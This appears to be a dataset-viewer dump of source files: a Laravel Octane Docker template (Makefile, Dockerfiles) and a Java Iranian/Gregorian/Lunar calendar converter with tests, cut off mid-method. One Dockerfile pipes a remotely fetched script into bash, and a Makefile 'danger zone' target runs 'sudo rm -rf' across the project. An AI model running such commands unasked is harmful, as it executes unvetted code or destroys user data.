Search is not available for this dataset
content
stringlengths 60
399M
| max_stars_repo_name
stringlengths 6
110
|
---|---|
<|start_filename|>Makefile<|end_filename|>
# Include file with .env variables if exists
-include .env
# Define default values for variables
COMPOSE_FILE ?= docker-compose.yml
BASE_IMAGE_DOCKERFILE ?= ./.docker/prod/base/Dockerfile
IMAGE_REGISTRY ?= prod
IMAGE_TAG ?= latest
#-----------------------------------------------------------
# Management
#-----------------------------------------------------------
# Create shared gateway network
gateway:
docker network create gateway
# Init variables for development environment
env.dev:
cp ./.env.dev ./.env
# Init variables for production environment
env.prod:
cp ./.env.prod ./.env
# Build and restart containers
install: build.all up
# Start containers
up:
docker-compose -f ${COMPOSE_FILE} up -d
# Stop containers
down:
docker-compose -f ${COMPOSE_FILE} down --remove-orphans
# Build containers
build:
docker-compose -f ${COMPOSE_FILE} build
# Build all containers
build.all: build.base build
# Build the base app image
build.base:
docker build --file ${BASE_IMAGE_DOCKERFILE} --tag ${IMAGE_REGISTRY}/api-base:${IMAGE_TAG} .
# Show list of running containers
ps:
docker-compose -f ${COMPOSE_FILE} ps
# Restart containers
restart:
docker-compose -f ${COMPOSE_FILE} restart
# Reboot containers
reboot: down up
# View output from containers
logs:
docker-compose -f ${COMPOSE_FILE} logs --tail 500
# Follow output from containers (short of 'follow logs')
fl:
docker-compose -f ${COMPOSE_FILE} logs --tail 500 -f
# Prune stopped docker containers and dangling images
prune:
docker system prune
#-----------------------------------------------------------
# Application
#-----------------------------------------------------------
# Enter the app container
app.bash:
docker-compose -f ${COMPOSE_FILE} exec app /bin/bash
# Restart the app container
restart.app:
docker-compose -f ${COMPOSE_FILE} restart app
# Alias to restart the app container
ra: restart.app
# Run the tinker service
tinker:
docker-compose -f ${COMPOSE_FILE} exec app php artisan tinker
# Clear the app cache
cache.clear:
docker-compose -f ${COMPOSE_FILE} exec app php artisan cache:clear
# Migrate the database
db.migrate:
docker-compose -f ${COMPOSE_FILE} exec app php artisan migrate
# Alias to migrate the database
migrate: db.migrate
# Rollback the database
db.rollback:
docker-compose -f ${COMPOSE_FILE} exec app php artisan migrate:rollback
# Seed the database
db.seed:
docker-compose -f ${COMPOSE_FILE} exec app php artisan db:seed
# Fresh the database state
db.fresh:
docker-compose -f ${COMPOSE_FILE} exec app php artisan migrate:fresh
# Refresh the database
db.refresh: db.fresh db.seed
# Dump database into file (only for development environment) (TODO: replace file name with env variable)
db.dump:
docker-compose -f ${COMPOSE_FILE} exec postgres pg_dump -U ${DB_USERNAME} -d ${DB_DATABASE} > ./.docker/postgres/dumps/dump.sql
# TODO: add command to import db dump
# Restart the queue process
queue.restart:
docker-compose -f ${COMPOSE_FILE} exec queue php artisan queue:restart
# Install composer dependencies
composer.install:
docker-compose -f ${COMPOSE_FILE} exec app composer install
# Install composer dependencies from stopped containers
r.composer.install:
docker-compose -f ${COMPOSE_FILE} run --rm --no-deps app composer install
# Alias to install composer dependencies
ci: composer.install
# Update composer dependencies
composer.update:
docker-compose -f ${COMPOSE_FILE} exec app composer update
# Alias to update composer dependencies
cu: composer.update
# Show outdated composer dependencies
composer.outdated:
docker-compose -f ${COMPOSE_FILE} exec app composer outdated
# PHP composer autoload command
composer.autoload:
docker-compose -f ${COMPOSE_FILE} exec app composer dump-autoload
# Generate a symlink to the storage directory
storage.link:
docker-compose -f ${COMPOSE_FILE} exec app php artisan storage:link --relative
# Give permissions of the storage folder to the www-data
storage.perm:
sudo chmod -R 755 storage
sudo chown -R www-data:www-data storage
# Give permissions of the storage folder to the current user
storage.perm.me:
sudo chmod -R 755 storage
sudo chown -R "$(shell id -u):$(shell id -g)" storage
# Give files ownership to the current user
own.me:
sudo chown -R "$(shell id -u):$(shell id -g)" .
# Reload the Octane workers
octane.reload:
docker-compose -f ${COMPOSE_FILE} exec app php artisan octane:reload
# Alias to reload the Octane workers
or: octane.reload
#-----------------------------------------------------------
# Testing (only for development environment)
#-----------------------------------------------------------
# Run phpunit tests (requires 'phpunit/phpunit' composer package)
test:
docker-compose -f ${COMPOSE_FILE} exec app ./vendor/bin/phpunit --order-by=defects --stop-on-defect
# Alias to run phpunit tests
t: test
# Run phpunit tests with the coverage mode (TODO: install PCOV or other lib)
coverage:
docker-compose -f ${COMPOSE_FILE} exec app ./vendor/bin/phpunit --coverage-html ./.coverage
# Run dusk tests (requires 'laravel/dusk' composer package)
dusk:
docker-compose -f ${COMPOSE_FILE} exec app php artisan dusk
# Generate code metrics (requires 'phpmetrics/phpmetrics' composer package)
metrics:
docker-compose -f ${COMPOSE_FILE} exec app ./vendor/bin/phpmetrics --report-html=./.metrics api/app
#-----------------------------------------------------------
# Redis
#-----------------------------------------------------------
# Enter the redis container
redis:
docker-compose -f ${COMPOSE_FILE} exec redis redis-cli
# Flush the redis state
redis.flush:
docker-compose -f ${COMPOSE_FILE} exec redis redis-cli FLUSHALL
#-----------------------------------------------------------
# Swarm
#-----------------------------------------------------------
# Deploy the stack
swarm.deploy:
docker stack deploy --compose-file ${COMPOSE_FILE} api
# Remove/stop the stack
swarm.rm:
docker stack rm api
# List of stack services
swarm.services:
docker stack services api
# List the tasks in the stack
swarm.ps:
docker stack ps api
# Init the Docker Swarm Leader node
swarm.init:
docker swarm init
#-----------------------------------------------------------
# Danger zone
# Do not use these commands
#-----------------------------------------------------------
# Remove all app files and folders (leave only dockerized template)
danger.app.prune:
sudo rm -rf \
.idea \
.vscode \
.vscode \
app \
bootstrap \
config \
database \
lang \
public \
resources \
routes \
storage \
vendor \
tests \
.editorconfig \
.env \
.env.example \
.gitattributes \
.gitignore \
.phpunit.result.cache \
.styleci.yml \
artisan \
composer.json \
composer.lock \
package.json \
phpunit.xml \
README.md \
webpack.mix.js
<|start_filename|>.docker/dev/base/Dockerfile<|end_filename|>
# Image
FROM php:8.1-cli
# Update dependencies
RUN apt-get update \
# Install Zip
&& apt-get install -y libzip-dev zip \
&& docker-php-ext-install zip \
# Install Git
&& apt-get install -y git \
# Install Curl
&& apt-get install -y libcurl3-dev curl \
&& docker-php-ext-install curl \
# Install procps (required by Octane)
&& apt-get install -y procps \
# Install EXIF
&& docker-php-ext-install exif \
# Install GD
&& apt-get install -y libfreetype6-dev libjpeg62-turbo-dev libpng-dev \
&& docker-php-ext-configure gd --with-jpeg=/usr/include/ --with-freetype=/usr/include/ \
&& docker-php-ext-install gd \
# Install PostgreSQL
&& apt-get install -y libpq-dev \
&& docker-php-ext-install pdo pdo_pgsql \
# Install BC Math
&& docker-php-ext-install bcmath \
# Install internationalization functions
&& apt-get install -y zlib1g-dev libicu-dev g++ \
&& docker-php-ext-configure intl \
&& docker-php-ext-install intl \
# Install Redis extension
&& pecl install redis \
&& docker-php-ext-enable redis \
# Install Process Control extension
&& docker-php-ext-install pcntl \
&& docker-php-ext-enable pcntl \
# Install OPcache extension
&& docker-php-ext-install opcache \
# Clean up the apt cache
&& rm -rf /var/lib/apt/lists/*
# Copy PHP configuration
COPY ./.docker/dev/base/php.ini "/${PHP_INI_DIR}/php.ini"
COPY ./.docker/dev/base/conf.d "/${PHP_INI_DIR}/conf.d"
<|start_filename|>.docker/dev/redis/Dockerfile<|end_filename|>
# Image
FROM redis:6.2-alpine
<|start_filename|>.docker/prod/base/Dockerfile<|end_filename|>
# Builder image
FROM composer:latest as builder
# Set up the working directory
WORKDIR /var/www/html
# Copy composer files
COPY ./composer.json ./composer.json
COPY ./composer.lock ./composer.lock
# Install composer dependencies
RUN composer install \
--no-interaction \
--no-dev \
--ignore-platform-reqs \
--no-scripts \
--no-plugins
# Copy all files into the container
COPY ./ ./
# Dump composer autoload
RUN composer dump-autoload --optimize
# Serving image
FROM php:8.1-cli
# Update dependencies
RUN apt-get update \
# Install Zip
&& apt-get install -y libzip-dev zip \
&& docker-php-ext-install zip \
# Install Git
&& apt-get install -y git \
# Install Curl
&& apt-get install -y libcurl3-dev curl \
&& docker-php-ext-install curl \
# Install procps (required by Octane)
&& apt-get install -y procps \
# Install EXIF
&& docker-php-ext-install exif \
# Install GD
&& apt-get install -y libfreetype6-dev libjpeg62-turbo-dev libpng-dev \
&& docker-php-ext-configure gd --with-jpeg=/usr/include/ --with-freetype=/usr/include/ \
&& docker-php-ext-install gd \
# Install PostgreSQL
&& apt-get install -y libpq-dev \
&& docker-php-ext-install pdo pdo_pgsql \
# Install BC Math
&& docker-php-ext-install bcmath \
# Install internationalization functions
&& apt-get install -y zlib1g-dev libicu-dev g++ \
&& docker-php-ext-configure intl \
&& docker-php-ext-install intl \
# Install Redis extension
&& pecl install redis \
&& docker-php-ext-enable redis \
# Install Process Control extension
&& docker-php-ext-install pcntl \
&& docker-php-ext-enable pcntl \
# Install OPcache extension
&& docker-php-ext-install opcache \
# Clean up the apt cache
&& rm -rf /var/lib/apt/lists/*
# Copy PHP configuration
COPY ./.docker/prod/base/php.ini "/${PHP_INI_DIR}/php.ini"
COPY ./.docker/prod/base/conf.d "/${PHP_INI_DIR}/conf.d"
# Set up the working directory
WORKDIR /var/www/html
# Copy files from builder image
COPY --from=builder /var/www/html ./
# Optimizing configuration loading
RUN php artisan config:cache \
# Optimizing route loading
&& php artisan route:cache \
# Optimizing view loading
&& php artisan view:cache \
# Optimizing event loading
&& php artisan event:cache \
# Generate storage symlink
&& php artisan storage:link
<|start_filename|>stubs/php-fpm/.docker/prod/app/Dockerfile<|end_filename|>
# Build arguments
ARG IMAGE_REGISTRY=prod
ARG IMAGE_TAG=latest
# Base image
FROM ${IMAGE_REGISTRY}/api-base:${IMAGE_TAG} as base
# Serving image
FROM php:8.1-fpm
# Update dependencies
RUN apt-get update \
# Install Zip
&& apt-get install -y libzip-dev zip && docker-php-ext-install zip \
# Install Git
&& apt-get install -y git \
# Install Curl
&& apt-get install -y libcurl3-dev curl && docker-php-ext-install curl \
# Install EXIF
&& docker-php-ext-install exif \
# Install GD
&& apt-get install -y libfreetype6-dev libjpeg62-turbo-dev libpng-dev \
&& docker-php-ext-configure gd --with-jpeg=/usr/include/ --with-freetype=/usr/include/ && docker-php-ext-install gd \
# Install PostgreSQL
&& apt-get install -y libpq-dev && docker-php-ext-install pdo pdo_pgsql \
# Install BC Math
&& docker-php-ext-install bcmath \
# Install internationalization functions
&& apt-get install -y zlib1g-dev libicu-dev g++ \
&& docker-php-ext-configure intl \
&& docker-php-ext-install intl \
# Install Redis extension
&& pecl install redis \
&& docker-php-ext-enable redis \
# Install Process Control extension
&& docker-php-ext-install pcntl \
&& docker-php-ext-enable pcntl \
# Install OPcache extension
&& docker-php-ext-install opcache \
# Clean up the apt cache
&& rm -rf /var/lib/apt/lists/*
# Copy base PHP configurations
COPY --from=base "/${PHP_INI_DIR}/php.ini" "/${PHP_INI_DIR}/php.ini"
COPY --from=base "/${PHP_INI_DIR}/conf.d" "/${PHP_INI_DIR}/conf.d"
# Copy PHP-FPM configuration
COPY ./.docker/prod/app/php-fpm.d /usr/local/etc/php-fpm.d
# Set up the working directory
WORKDIR /var/www/html
# Copy files from base image
COPY --from=base /var/www/html ./
<|start_filename|>.docker/dev/schedule/Dockerfile<|end_filename|>
# Build arguments
ARG IMAGE_REGISTRY=dev
ARG IMAGE_TAG=latest
# Image
FROM ${IMAGE_REGISTRY}/api-base:${IMAGE_TAG}
# Update dependencies
RUN apt-get update \
# Install Crontab
&& apt-get install -y cron \
# Clean up the apt cache
&& rm -rf /var/lib/apt/lists/*
# Copy and enable cron job file
COPY ./.docker/dev/schedule/cron.d/crontab /etc/cron.d/crontab
RUN crontab /etc/cron.d/crontab
# Set up the working directory
WORKDIR /var/www/html
# Run the cron service
CMD ["cron", "-f"]
<|start_filename|>stubs/php-fpm/.docker/dev/gateway/Dockerfile<|end_filename|>
# Image
FROM nginx:1.21-alpine
# Copy nginx configurations
COPY ./.docker/dev/gateway/conf.d /etc/nginx/conf.d
# Expose the gateway port
EXPOSE 8000
<|start_filename|>.docker/dev/postgres/Dockerfile<|end_filename|>
# Image
FROM postgres:14.2-alpine
<|start_filename|>.docker/prod/app/Dockerfile<|end_filename|>
# Build arguments
ARG IMAGE_REGISTRY=prod
ARG IMAGE_TAG=latest
# Image
FROM ${IMAGE_REGISTRY}/api-base:${IMAGE_TAG}
# Update dependencies
RUN && apt-get update \
# Install Swoole (required by Octane)
&& pecl install swoole \
&& docker-php-ext-enable swoole \
# Clean up the apt cache
&& rm -rf /var/lib/apt/lists/*
# Set up the working directory
WORKDIR /var/www/html
# Export Octane port
EXPOSE 8000
# Run the Octane service
CMD ["php", "artisan", "octane:start", "--server=swoole", "--host=0.0.0.0", "--port=8000", "--max-requests=1000"]
# The health check configuration
HEALTHCHECK --start-period=5s --interval=5s --timeout=5s --retries=3 \
CMD php artisan octane:status || exit 1
<|start_filename|>.docker/dev/app/Dockerfile<|end_filename|>
# Build arguments
ARG IMAGE_REGISTRY=dev
ARG IMAGE_TAG=latest
# Image
FROM ${IMAGE_REGISTRY}/api-base:${IMAGE_TAG}
# Update dependencies
RUN apt-get update \
# Install Swoole (required by Octane)
&& pecl install swoole \
&& docker-php-ext-enable swoole \
# Install Node (v16 LTS) (required by Octane)
&& curl -sL https://deb.nodesource.com/setup_16.x | bash - \
&& apt-get install -y nodejs \
# Install NPM (required by Octane)
&& npm install -g npm \
# Install Chokidar (required by Octane)
&& npm install --g chokidar \
# Clean up the apt cache
&& rm -rf /var/lib/apt/lists/*
# Specify the node path (allow including Chokidar lib globally)
ENV NODE_PATH /usr/lib/node_modules
# Install Composer
COPY --from=composer:latest /usr/bin/composer /usr/local/bin/composer
# Set up the working directory
WORKDIR /var/www/html
# Export Octane port
EXPOSE 8000
# Run the Octane service
CMD ["php", "artisan", "octane:start", "--server=swoole", "--host=0.0.0.0", "--port=8000", "--max-requests=1000", "--watch"]
# The health check configuration
HEALTHCHECK --start-period=5s --interval=5s --timeout=5s --retries=3 \
CMD php artisan octane:status || exit 1
<|start_filename|>stubs/php-fpm/.docker/prod/gateway/Dockerfile<|end_filename|>
# Image
FROM nginx:1.21-alpine
# Copy nginx configurations
COPY ./.docker/prod/gateway/nginx.conf /etc/nginx/nginx.conf
COPY ./.docker/prod/gateway/conf.d /etc/nginx/conf.d
# Copy public folder
COPY ./public /var/www/html/public
# Expose a port of the gateway server
EXPOSE 8000
# Expose a port of the status server
EXPOSE 8001
<|start_filename|>.docker/dev/mailhog/Dockerfile<|end_filename|>
# Image
FROM mailhog/mailhog:latest
<|start_filename|>.docker/dev/queue/Dockerfile<|end_filename|>
# Build arguments
ARG IMAGE_REGISTRY=dev
ARG IMAGE_TAG=latest
# Image
FROM ${IMAGE_REGISTRY}/api-base:${IMAGE_TAG}
# Set up the working directory
WORKDIR /var/www/html
# Run the queue service
CMD ["php", "artisan", "queue:work"]
| modularsoftware/genealogy |
<|start_filename|>calendartool/src/test/java/com/spournasseh/calendartool/CalendarToolUnitTest.java<|end_filename|>
package com.spournasseh.calendartool;
import org.junit.Test;
import static org.junit.Assert.assertEquals;
public class CalendarToolUnitTest {
@Test
public void gregorianToIranianTest() throws Exception {
CalendarTool tool = new CalendarTool();
tool.setGregorianDate(2019, 1, 30);
assertEquals("1397/11/10", tool.getIranianDate());
assertEquals(1397, tool.getIranianYear());
assertEquals(11, tool.getIranianMonth());
assertEquals(10, tool.getIranianDay());
assertEquals("چهارشنبه", tool.getIranianWeekDay());
assertEquals("10 بهمن", tool.getIranianStringShorter());
assertEquals("10 بهمن 1397", tool.getIranianStringShort());
assertEquals("چهارشنبه 10 بهمن 1397", tool.getIranianStringLong());
}
@Test
public void iranianToGregorianTest() throws Exception {
CalendarTool tool = new CalendarTool();
tool.setIranianDate(1397, 11, 10);
assertEquals("2019/1/30", tool.getGregorianDate());
assertEquals(2019, tool.getGregorianYear());
assertEquals(1, tool.getGregorianMonth());
assertEquals(30, tool.getGregorianDay());
assertEquals("Wednesday", tool.getGregorianWeekDay());
assertEquals("30 January 2019", tool.getGregorianStringShort());
assertEquals("Wednesday 30 January 2019", tool.getGregorianStringLong());
assertEquals("30 ژانویه 2019", tool.getGregorianStringFarsiShort());
assertEquals("چهارشنبه 30 ژانویه 2019", tool.getGregorianStringFarsiLong());
}
@Test
public void leapTest() {
CalendarTool tool = new CalendarTool();
assertEquals(false, tool.isPersianLeapYear(1394));
assertEquals(true, tool.isPersianLeapYear(1395));
assertEquals(true, tool.isPersianLeapYear(1408));
assertEquals(false, tool.isGregorianLeapYear(1900));
assertEquals(true, tool.isGregorianLeapYear(2000));
assertEquals(true, tool.isGregorianLeapYear(1904));
}
}
<|start_filename|>calendartool/src/main/java/com/spournasseh/calendartool/CalendarTool.java<|end_filename|>
package com.spournasseh.calendartool;
import org.joda.time.Chronology;
import org.joda.time.DateTime;
import org.joda.time.IllegalFieldValueException;
import org.joda.time.chrono.GregorianChronology;
import org.joda.time.chrono.IslamicChronology;
import java.util.Arrays;
import java.util.Calendar;
import java.util.GregorianCalendar;
import java.util.List;
public class CalendarTool {
private List<String> persianMonths = Arrays.asList( "فروردین", "اردیبهشت", "خرداد", "تیر", "مرداد", "شهریور", "مهر", "آبان", "آذر", "دی", "بهمن", "اسفند" );
private List<String> gregorianMonths = Arrays.asList( "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" );
private List<String> gregorianFarsiMonths = Arrays.asList( "ژانویه", "فوریه", "مارس", "آوریل", "مه", "ژوئن", "ژوئیه", "اوت", "سپتامبر", "اکتبر", "نوامبر", "دسامبر" );
private List<String> lunarMonths = Arrays.asList( "محرم", "صفر", "ربیعالاول", "ربیعالثانی", "جمادیالاول", "جمادیالثانی", "رجب", "شعبان", "رمضان", "شوال", "ذیالقعده", "ذیالحجه" );
private List<String> persianWeek = Arrays.asList( "دوشنبه", "سه شنبه", "چهارشنبه", "پنج شنبه", "جمعه", "شنبه", "یک شنبه" );
private List<String> gregorianWeek = Arrays.asList( "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday" );
private List<String> lunarWeek = Arrays.asList( "الاثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت", "الأحد" );
public boolean isPersianLeapYear(int year) {
int a = 0, b = 1309, c = year;
for (int i = 1309; i <= c - 4; i += 4)
{
b += 4;
a += 1;
if (a % 8 == 0)
b++;
}
if (c == b)
return true;
else
return false;
}
public boolean isGregorianLeapYear(int year) {
int d4 = year % 4;
int d100 = year % 100;
int d400 = year % 400;
if (d4 == 0) {
if (d100 == 0) {
if(d400 == 0) {
return true;
}
else {
return false;
}
}
else {
return true;
}
}
else {
return false;
}
}
public boolean isLunarLeapYear(int year) {
int d30 = year % 30;
if (d30 == 2 || d30 == 5 || d30 == 7 || d30 == 10 || d30 == 13 || d30 == 16 || d30 == 18 || d30 == 21 || d30 == 24 || d30 == 26 || d30 == 29) {
return true;
}
else return false;
}
public String getIranianWeekDay() {
return persianWeek.get(getDayOfWeek());
}
public String getGregorianWeekDay() {
return gregorianWeek.get(getDayOfWeek());
}
public String getLunarWeekDay() {
return lunarWeek.get(getDayOfWeek());
}
public String getIranianStringShorter() {
return String.valueOf(irDay) + " " + persianMonths.get(irMonth - 1);
}
public String getIranianStringShort() {
return String.valueOf(irDay) + " " + persianMonths.get(irMonth - 1) + " " + irYear;
}
public String getGregorianStringShort() {
return String.valueOf(gDay) + " " + gregorianMonths.get(gMonth - 1) + " " + gYear;
}
public String getLunarStringShort() {
return String.valueOf(luDay) + " " + lunarMonths.get(luMonth - 1) + " " + luYear;
}
public String getIranianStringLong() {
return persianWeek.get(getDayOfWeek()) + " " + String.valueOf(irDay) + " " + persianMonths.get(irMonth - 1) + " " + irYear;
}
public String getGregorianStringLong() {
return gregorianWeek.get(getDayOfWeek()) + " " + String.valueOf(gDay) + " " + gregorianMonths.get(gMonth - 1) + " " + gYear;
}
public String getLunarStringLong() {
return lunarWeek.get(getDayOfWeek()) + " " + String.valueOf(luDay) + " " + lunarMonths.get(luMonth - 1) + " " + luYear;
}
public String getGregorianStringFarsiLong() {
return persianWeek.get(getDayOfWeek()) + " " + String.valueOf(gDay) + " " + gregorianFarsiMonths.get(gMonth - 1) + " " + gYear;
}
public String getGregorianStringFarsiShort() {
return String.valueOf(gDay) + " " + gregorianFarsiMonths.get(gMonth - 1) + " " + gYear;
}
public String dateDifference(String d1, String d2) {
String temp;
int yearIndex = 0, monthIndex = 0;
String hasYear = "", hasMonth = "", hasDay = "";
int daysDiff = 0;
int year1, year2, month1, month2, day1, day2;
String[] dateParts1 = d1.split("/");
String[] dateParts2 = d2.split("/");
setIranianDate(Integer.parseInt(dateParts1[0]), Integer.parseInt(dateParts1[1]), Integer.parseInt(dateParts1[2]));
Calendar cal1 = Calendar.getInstance();
cal1.set(getGregorianYear(), getGregorianMonth() - 1, getGregorianDay());
year1 = getIranianYear();
month1 = getIranianMonth();
day1 = getIranianDay();
setIranianDate(Integer.parseInt(dateParts2[0]), Integer.parseInt(dateParts2[1]), Integer.parseInt(dateParts2[2]));
Calendar cal2 = Calendar.getInstance();
cal2.set(getGregorianYear(), getGregorianMonth() - 1, getGregorianDay());
year2 = getIranianYear();
month2 = getIranianMonth();
day2 = getIranianDay();
if(cal2.getTime().after(cal1.getTime())) {
temp = "- ";
yearIndex = year2 - year1;
monthIndex = month2 - month1;
daysDiff = day2 - day1;
if (daysDiff < 0) {
daysDiff = 30 + daysDiff;
monthIndex--;
}
if (monthIndex < 0) {
monthIndex = 12 + monthIndex;
yearIndex--;
}
}
else {
temp = "";
yearIndex = year1 - year2;
monthIndex = month1 - month2;
daysDiff = day1 - day2;
if (daysDiff < 0) {
daysDiff = 30 + daysDiff;
monthIndex--;
}
if (monthIndex < 0) {
monthIndex = 12 + monthIndex;
yearIndex--;
}
}
if (yearIndex > 0) {
hasYear = yearIndex + " سال ";
}
if (monthIndex > 0) {
hasMonth = monthIndex + " ماه ";
}
if (daysDiff > 0) {
hasDay = daysDiff + " روز ";
}
String output = hasYear + hasMonth + hasDay;
if (!output.equals("")) {
output = temp + output;
}
else {
output = "بدون اختلاف";
}
return output;
}
public int dateDifferenceInDays(String d1, String d2) {
String temp;
boolean before = true;
int yearIndex = 0, monthIndex = 0;
int daysDiff = 0;
int year1, year2, month1, month2, day1, day2;
String[] dateParts1 = d1.split("/");
String[] dateParts2 = d2.split("/");
setIranianDate(Integer.parseInt(dateParts1[0]), Integer.parseInt(dateParts1[1]), Integer.parseInt(dateParts1[2]));
Calendar cal1 = Calendar.getInstance();
cal1.set(getGregorianYear(), getGregorianMonth() - 1, getGregorianDay());
year1 = getIranianYear();
month1 = getIranianMonth();
day1 = getIranianDay();
setIranianDate(Integer.parseInt(dateParts2[0]), Integer.parseInt(dateParts2[1]), Integer.parseInt(dateParts2[2]));
Calendar cal2 = Calendar.getInstance();
cal2.set(getGregorianYear(), getGregorianMonth() - 1, getGregorianDay());
year2 = getIranianYear();
month2 = getIranianMonth();
day2 = getIranianDay();
if(cal2.getTime().after(cal1.getTime())) {
temp = "قبل";
before = true;
yearIndex = year2 - year1;
monthIndex = month2 - month1;
daysDiff = day2 - day1;
if (daysDiff < 0) {
daysDiff = 30 + daysDiff;
monthIndex--;
}
if (monthIndex < 0) {
monthIndex = 12 + monthIndex;
yearIndex--;
}
}
else {
temp = "بعد";
before = false;
yearIndex = year1 - year2;
monthIndex = month1 - month2;
daysDiff = day1 - day2;
if (daysDiff < 0) {
daysDiff = 30 + daysDiff;
monthIndex--;
}
if (monthIndex < 0) {
monthIndex = 12 + monthIndex;
yearIndex--;
}
}
if (yearIndex > 0) {
daysDiff += yearIndex * 365;
}
if (monthIndex > 0) {
daysDiff += monthIndex * 30;
}
if (before) {
daysDiff *= -1;
}
return daysDiff;
}
public CalendarTool()
{
Calendar calendar = new GregorianCalendar();
setGregorianDate(calendar.get(Calendar.YEAR),
calendar.get(Calendar.MONTH)+1,
calendar.get(Calendar.DAY_OF_MONTH));
}
public CalendarTool(int year, int month, int day)
{
setGregorianDate(year,month,day);
}
public int getIranianYear() {
return irYear;
}
public int getIranianMonth() {
return irMonth;
}
public int getIranianDay() {
return irDay;
}
public int getGregorianYear() {
return gYear;
}
public int getGregorianMonth() {
return gMonth;
}
public int getGregorianDay() {
return gDay;
}
public int getLunarYear() { return luYear; }
public int getLunarMonth() { return luMonth; }
public int getLunarDay() { return luDay; }
public int getJulianYear() {
return juYear;
}
public int getJulianMonth() {
return juMonth;
}
public int getJulianDay() {
return juDay;
}
public String getIranianDate()
{
return (irYear+"/"+irMonth+"/"+irDay);
}
public String getGregorianDate()
{
return (gYear+"/"+gMonth+"/"+gDay);
}
public String getLunarDate()
{
return (luYear+"/"+luMonth+"/"+luDay);
}
public String getJulianDate()
{
return (juYear+"/"+juMonth+"/"+juDay);
}
public String getWeekDayStr()
{
String weekDayStr[]={
"Monday",
"Tuesday",
"Wednesday",
"Thursday",
"Friday",
"Saturday",
"Sunday"};
return (weekDayStr[getDayOfWeek()]);
}
public String toString()
{
return (getWeekDayStr()+
", Gregorian:["+getGregorianDate()+
"], Julian:["+getJulianDate()+
"], Iranian:["+getIranianDate()+
"], Lunar:["+getLunarDate()+"]");
}
public int getDayOfWeek()
{
return (JDN % 7);
}
private int getPersianDayOfWeek() {
int w = getDayOfWeek() + 2;
if (w >= 7) { w -= 7; }
return w;
}
public void nextDay()
{
JDN++;
JDNToIranian();
JDNToJulian();
JDNToGregorian();
JDNToLunar();
}
public void nextDay(int days)
{
JDN+=days;
JDNToIranian();
JDNToJulian();
JDNToGregorian();
JDNToLunar();
}
public void previousDay()
{
JDN--;
JDNToIranian();
JDNToJulian();
JDNToGregorian();
JDNToLunar();
}
public void previousDay(int days)
{
JDN-=days;
JDNToIranian();
JDNToJulian();
JDNToGregorian();
JDNToLunar();
}
public void setIranianDate(int year, int month, int day)
{
irYear =year;
irMonth = month;
irDay = day;
JDN = IranianDateToJDN();
JDNToIranian();
JDNToJulian();
JDNToGregorian();
JDNToLunar();
}
public void setGregorianDate(int year, int month, int day)
{
gYear = year;
gMonth = month;
gDay = day;
JDN = gregorianDateToJDN(year,month,day);
JDNToIranian();
JDNToJulian();
JDNToGregorian();
JDNToLunar();
}
public void setLunarDate(int year, int month, int day)
{
luYear = year;
luMonth = month;
luDay = day;
LDNToGregorian();
LDNToIranian();
}
public void setJulianDate(int year, int month, int day)
{
juYear = year;
juMonth = month;
juDay = day;
JDN = julianDateToJDN(year,month,day);
JDNToIranian();
JDNToJulian();
JDNToGregorian();
JDNToLunar();
}
private void IranianCalendar()
{
// Iranian years starting the 33-year rule
int Breaks[]=
{-61, 9, 38, 199, 426, 686, 756, 818,1111,1181,
1210,1635,2060,2097,2192,2262,2324,2394,2456,3178} ;
int jm,N,leapJ,leapG,jp,j,jump;
gYear = irYear + 621;
leapJ = -14;
jp = Breaks[0];
// Find the limiting years for the Iranian year 'irYear'
j=1;
do{
jm=Breaks[j];
jump = jm-jp;
if (irYear >= jm)
{
leapJ += (jump / 33 * 8 + (jump % 33) / 4);
jp = jm;
}
j++;
} while ((j<20) && (irYear >= jm));
N = irYear - jp;
// Find the number of leap years from AD 621 to the begining of the current
// Iranian year in the Iranian (Iranian) calendar_month
leapJ += (N/33 * 8 + ((N % 33) +3)/4);
if ( ((jump % 33) == 4 ) && ((jump-N)==4))
leapJ++;
// And the same in the Gregorian date of Farvardin the first
leapG = gYear/4 - ((gYear /100 + 1) * 3 / 4) - 150;
march = 20 + leapJ - leapG;
// Find how many years have passed since the last leap year
if ( (jump - N) < 6 )
N = N - jump + ((jump + 4)/33 * 33);
leap = (((N+1) % 33)-1) % 4;
if (leap == -1)
leap = 4;
}
private boolean IsLeap(int irYear1) {
// Iranian years starting the 33-year rule
int Breaks[]= {-61, 9, 38, 199, 426, 686, 756, 818,1111,1181,1210,1635,2060,2097,2192,2262,2324,2394,2456,3178} ;
int jm,N,leapJ,leapG,jp,j,jump;
gYear = irYear1 + 621;
leapJ = -14;
jp = Breaks[0];
// Find the limiting years for the Iranian year 'irYear'
j=1;
do {
jm=Breaks[j];
jump = jm-jp;
if (irYear1 >= jm)
{
leapJ += (jump / 33 * 8 + (jump % 33) / 4);
jp = jm;
}
j++;
} while ((j<20) && (irYear1 >= jm));
N = irYear1 - jp;
// Find the number of leap years from AD 621 to the begining of the current
// Iranian year in the Iranian (Iranian) calendar_month
leapJ += (N/33 * 8 + ((N % 33) +3)/4);
if ( ((jump % 33) == 4 ) && ((jump-N)==4))
leapJ++;
// And the same in the Gregorian date of Farvardin the first
leapG = gYear/4 - ((gYear /100 + 1) * 3 / 4) - 150;
march = 20 + leapJ - leapG;
// Find how many years have passed since the last leap year
if ( (jump - N) < 6 )
N = N - jump + ((jump + 4)/33 * 33);
leap = (((N+1) % 33)-1) % 4;
if (leap == -1)
leap = 4;
if (leap==4 || leap==0)
return true;
else
return false;
}
private int IranianDateToJDN() {
IranianCalendar();
return (gregorianDateToJDN(gYear,3,march)+ (irMonth-1) * 31 - irMonth/7 * (irMonth-7) + irDay -1);
}
private void JDNToIranian() {
JDNToGregorian();
irYear = gYear - 621;
IranianCalendar(); // This invocation will update 'leap' and 'march'
int JDN1F = gregorianDateToJDN(gYear,3,march);
int k = JDN - JDN1F;
if (k >= 0)
{
if (k <= 185)
{
irMonth = 1 + k/31;
irDay = (k % 31) + 1;
return;
}
else
k -= 186;
}
else
{
irYear--;
k += 179;
if (leap == 1)
k++;
}
irMonth = 7 + k/30;
irDay = (k % 30) + 1;
}
private int julianDateToJDN(int year, int month, int day) {
return (year + (month - 8) / 6 + 100100) * 1461/4 + (153 * ((month+9) % 12) + 2)/5 + day - 34840408;
}
private void JDNToJulian() {
int j= 4 * JDN + 139361631;
int i= ((j % 1461)/4) * 5 + 308;
juDay = (i % 153) / 5 + 1;
juMonth = ((i/153) % 12) + 1;
juYear = j/1461 - 100100 + (8-juMonth)/6;
